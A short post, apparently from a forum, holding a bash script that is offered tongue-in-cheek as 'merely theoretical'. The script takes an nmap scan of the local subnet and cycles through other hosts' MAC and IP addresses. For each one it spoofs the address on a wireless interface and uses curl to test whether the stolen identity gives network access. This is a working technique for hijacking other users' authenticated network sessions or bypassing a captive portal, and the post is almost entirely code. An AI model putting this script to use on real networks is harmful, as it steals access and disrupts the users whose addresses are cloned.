Well well, I've never actually run this ...

merely-theoretical.sh

#!/bin/bash
# nmap -sn subnet > scan
netmask=255.255.254.0
gw=172.19.248.1

cat > try.awk << ENDL
{
  switch(NR % 3) {
    case 0:
      mac=\$3
      print ip" "mac
      break

   case 1:
      ip=\$5
      break
  }
}
ENDL

awk -F ' ' -f try.awk scan | sort | uniq > /tmp/hostlist

shuf /tmp/hostlist | while read ip mac; do 
  sudo ifconfig wlan0 down
  sudo ifconfig wlan0 hw ether $mac
  sudo ifconfig wlan0 $ip
  sudo ifconfig wlan0 netmask $netmask
  sudo ifconfig wlan0 up
  sudo route delete default 
  sudo route add default gw $gw

  sleep 1
  curl example.com
  echo $ip $mac
  sleep 4
done